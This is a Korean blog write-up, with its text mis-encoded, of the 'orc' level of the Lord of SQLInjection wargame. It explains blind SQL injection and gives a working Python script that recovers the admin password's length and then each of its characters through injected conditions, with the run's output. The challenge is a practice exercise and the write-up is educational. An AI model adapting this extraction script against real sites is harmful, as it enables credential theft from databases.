Lord of SQLInjection
los.rubiya.kr
๋ฌธ์ ํ์ด์ ์ฐธ๊ณ ํ ๋ธ๋ก๊ทธ: https://power-girl0-0.tistory.com/237
๋ฌธ์ ํ์ด ํ๋ฉด.
# ๋ฌธ์ ์กฐ๊ฑด
์ฝ๋๋ฅผ ํ์ธํด๋ณด๋ฉด ๋ฌธ์ ๋ฅผ ํ๊ธฐ ์ํด ๋ง์กฑํด์ผ ํ๋ ์กฐ๊ฑด์ ํ์ธํ ์ ์๋ค.
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc");
์ฆ, $result['pw']๊ฐ ์กด์ฌํ๊ณ ์ด ๊ฐ์ด ์ฌ์ฉ์๊ฐ ์ ๋ ฅํ $_GET['pw']์ ์ผ์นํด์ผ ๋ฌธ์ ๊ฐ ํ๋ฆฐ๋ค.
# Blind SQL Injection
์ด ๋ถ๋ถ์ ๋ณด๋ฉด, ์ด ๋ฌธ์ ๋ Blind SQL Injection์ ์ด์ฉํ์ฌ ๋น๋ฐ๋ฒํธ๋ฅผ ์ถ์ธกํ์ฌ ํ์ด์ผ ํจ์ ์ ์ ์๋ค.
Blind SQL Injection์ ์ฟผ๋ฆฌ ๊ฒฐ๊ณผ์ ๋ฐ๋ฅธ ์๋ฒ์ ์ฐธ๊ณผ ๊ฑฐ์ง ๋ฐ์์ ํตํด ๊ณต๊ฒฉ์ ์ํํ๋ค.
์ฌ๊ธฐ์๋ id๊ฐ admin์ผ ๋ 'Hello admin'์ด ์ถ๋ ฅ๋๋ค๋ ์ ์ ํ์ฉํ์ฌ ๋น๋ฐ๋ฒํธ๋ฅผ ์ถ์ธกํ๋ค.
# ์ฟผ๋ฆฌ
id๊ฐ ์ด๋ฏธ ์์ฑ๋์ด ์๋ค๋ ๊ฒ์ ํ์ธํ๊ณ ,
'Hello admin'์ ์ถ๋ ฅํ๊ธฐ ์ํด or ์ฐ์ฐ์ ์ฌ์ฉํ์ฌ ๋ค์๊ณผ ๊ฐ์ ๋ฌธ์์ด์ ์ด์ฉํ๋ค.
? pw=' or 1=1%23
์ฌ๊ธฐ์ #์ ์ฃผ์์ฒ๋ฆฌ๋ฅผ ํ๋๋ฐ ์ฌ์ฉ๋์ง ์๊ธฐ ๋๋ฌธ์ (์ธ์์ด ๋์ง ์๋๋ค) %23์ ์ฌ์ฉํ์ฌ ์ฃผ์ ์ฒ๋ฆฌํด์ฃผ์๋ค.
# ๋ฌธ์ ํ์ด์ ํ์ฉํ requests ๋ชจ๋์ ๋ํ ์ค๋ช
requests ๋ชจ๋์ Python์์ HTTP ์์ฒญ์ ๋ณด๋ด๋๋ฐ ์ฌ์ฉ๋๋ ๋ผ์ด๋ธ๋ฌ๋ฆฌ์ด๋ค.
์ด ๋ชจ๋์ ์ฌ์ฉํ๋ฉด ์นํ์ด์ง๋ฅผ ์ด๊ฑฐ๋ API์ ํต์ ํ ์ ์๋ค.
requests ๋ชจ๋์ ์ฌ์ฉํ๋ฉด ๊ฐ๋จํ๊ฒ GET ์์ฒญ, POST ์์ฒญ ๋ฑ์ ๋ณด๋ผ ์ ์๋ค.
๋ํ, ์ฟ ํค(Cookie)์ ์ธ์ (Session)์ ๋ค๋ฃจ๊ฑฐ๋ ํ์ผ ์ ๋ก๋, HTTP ํค๋ ์ค์ ๋ฑ ๋ค์ํ ๊ธฐ๋ฅ์ ์ ๊ณตํ๋ค.
์๋ฅผ ๋ค์ด, ๋ค์์ requests ๋ชจ๋์ ์ฌ์ฉํ์ฌ ๊ฐ๋จํ GET ์์ฒญ์ ๋ณด๋ด๋ ์์ ์ด๋ค:
import requests
response = requests.get('https://www.example.com')
print(response.text) # ์นํ์ด์ง์ ๋ด์ฉ์ ์ถ๋ ฅ
์ด ์ฝ๋๋ https://www.example.com ์ฃผ์๋ก GET ์์ฒญ์ ๋ณด๋ด๊ณ , ์๋ต ๋ด์ฉ์ ์ถ๋ ฅํ๋ค.
requests ๋ชจ๋์ ์น ํฌ๋กค๋ง, API ์์ฒญ, ์น ์๋น์ค์์ ํต์ ๋ฑ ๋ค์ํ ์น ๊ด๋ จ ์์ ์ ํ ๋ ์ ์ฉํ๊ฒ ์ฌ์ฉ๋๋ค.
๋ ๋ง์ ๋ด์ฉ: https://power-girl0-0.tistory.com/409
# ๋น๋ฐ๋ฒํธ ๊ธธ์ด ๊ตฌํ๊ธฐ
(requests ๋ชจ๋์ ์ฒ์ ์ฌ์ฉํ๋ค๋ฉด ํฐ๋ฏธ๋์์ pip install requests ๋ช ๋ น์ด๋ฅผ ์ ๋ ฅํด์ฃผ๋๋ก ํ์.)
์ฒซ ๋ฒ์งธ๋ก ๋น๋ฐ๋ฒํธ์ ๊ธธ์ด๋ฅผ ์์๋ด๊ธฐ ์ํ ์ฝ๋์ด๋ค.
1๋ถํฐ ์์ํ์ฌ ๊ธธ์ด๋ฅผ ๋๋ ค๊ฐ๋ฉฐ 'Hello admin'์ด ๋์ฌ ๋๊น์ง ์๋ํ๋ค.
import requests
url = 'https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?'
cookies = {'PHPSESSID': '์์ ์ ์น์
id'}
len_num = 0
while 1:
len_num += 1
value = " 'or id='admin' and length(pw)={} #".format(len_num)
params = {'pw': value}
response = requests.get(url, params=params, cookies=cookies)
if "Hello admin" in response.text:
print("๋น๋ฐ๋ฒํธ ๊ธธ์ด : ", len_num)
break
** ์์ ์ ์น์ id ๋ถ๋ถ์ ๋ณธ์ธ์ PHPSESSID ๊ฐ์ผ๋ก ๋ฐ๊ฟ์ ๋ฃ์ด์ผ ํ๋ค.
# ๋น๋ฐ๋ฒํธ ์ถ์ธก
๋ ๋ฒ์งธ๋ก ๋น๋ฐ๋ฒํธ๋ฅผ ํ ๊ธ์์ฉ ์ถ์ธกํ๋ ์ฝ๋์ด๋ค.
๊ฐ ๊ธ์๋ฅผ ์์คํค ์ฝ๋๋ก ๋ณํํ์ฌ ์๋ํ๋ค.
def ans_pw(len_num):
pwd = ''
for i in range(1, len_num+1):
print(i, "๋ฒ์งธ ๊ฒ์ ์ค")
for ch in range(48, 122):
value = " 'or id='admin' and ord(substr(pw,{},1))={} #".format(i, ch)
params = {'pw': value}
response = requests.get(url, params=params, cookies=cookies)
if "Hello admin" in response.text:
pwd += chr(ch)
print("๋น๋ฐ๋ฒํธ : ", pwd)
break
return pwd
# ์ต์ข ์ ์ผ๋ก ์คํํ ์ฝ๋
import requests
url = 'https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?'
cookies={'PHPSESSID':'์์ ์ ์น์
id'}
def pw_len(): # ๋น๋ฐ๋ฒํธ ๊ธธ์ด
len_num = 0
print("password ๊ธธ์ด ")
while 1:
len_num += 1
value = " 'or id='admin' and length(pw)={} #".format(len_num)
params = {'pw':value}
response = requests.get(url,params=params, cookies=cookies)
print(len_num)
if "Hello admin" in response.text:
print("password lenth : ",len_num)
break
return len_num
def ans_pw(len_num): #๋น๋ฐ๋ฒํธ ์ ์ถ
pwd= ''
for i in range(1, len_num+1): #๋น๋ฐ๋ฒํธ ๊ธธ์ด๋งํผ ๋ฐ๋ณต
print(i,"๋ฒ์งธ ๊ฒ์ ์ค")
for ch in range(48,122): #์์คํค์ฝ๋ 48๋ถํฐ 122๊น์ง ๋ฐ๋ณต
value = " 'or id='admin' and ord(substr(pw,{},1))={} #".format(i,ch) # ํ๊ธ์์ฉ ์์คํค์ฝ๋ ๋์
params = {'pw':value}
response = requests.get(url,params=params, cookies=cookies)
print(ch)
if "Hello admin" in response.text: # ๋น๋ฐ๋ฒํธ๊ฐ ์ผ์นํ๋ฉด, ๋ฐ๋ณต์ ์ ์งํ๊ธฐ ์ํ ์กฐ๊ฑด๋ฌธ
pwd += chr(ch) #๋น๋ฐ๋ฒํธ๋ฅผ ์์ฐจ์ ์ผ๋ก ์ ์ฅ
print("password : ", pwd)
break
return pwd
ans_pw(pw_len())
์์ ์ฝ๋๋ฅผ ์คํ์ํค๋ฉด
password ๊ธธ์ด
1
2
3
4
5
6
7
8
password lenth : 8
1 ๋ฒ์งธ ๊ฒ์ ์ค
48
password : 0
2 ๋ฒ์งธ ๊ฒ์ ์ค
48
49
50
51
52
53
54
55
56
57
password : 09
3 ๋ฒ์งธ ๊ฒ์ ์ค
48
49
50
51
52
53
password : 095
4 ๋ฒ์งธ ๊ฒ์ ์ค
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
password : 095a
5 ๋ฒ์งธ ๊ฒ์ ์ค
48
49
50
51
52
53
54
55
56
57
password : 095a9
6 ๋ฒ์งธ ๊ฒ์ ์ค
48
49
50
51
52
53
54
55
56
password : 095a98
7 ๋ฒ์งธ ๊ฒ์ ์ค
48
49
50
51
52
53
password : 095a985
8 ๋ฒ์งธ ๊ฒ์ ์ค
48
49
50
password : 095a9852
password๋ฅผ ํ์ธํ ์ ์๋ค.
๋ฌธ์ ํ์ด ์๋ฃ
'SWLUG > ์น ํดํน' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
[Dreamhack/๋๋ฆผํต] xss-1 (0) | 2023.11.05 |
---|---|
[Dreamhack/๋๋ฆผํต] DOM XSS (0) | 2023.11.05 |
[los.rubiya.kr] goblin (1) | 2023.10.06 |
[los.rubiya.kr] cobolt (0) | 2023.10.06 |
[LoS.Rubiya.kr] gremlin (0) | 2023.10.06 |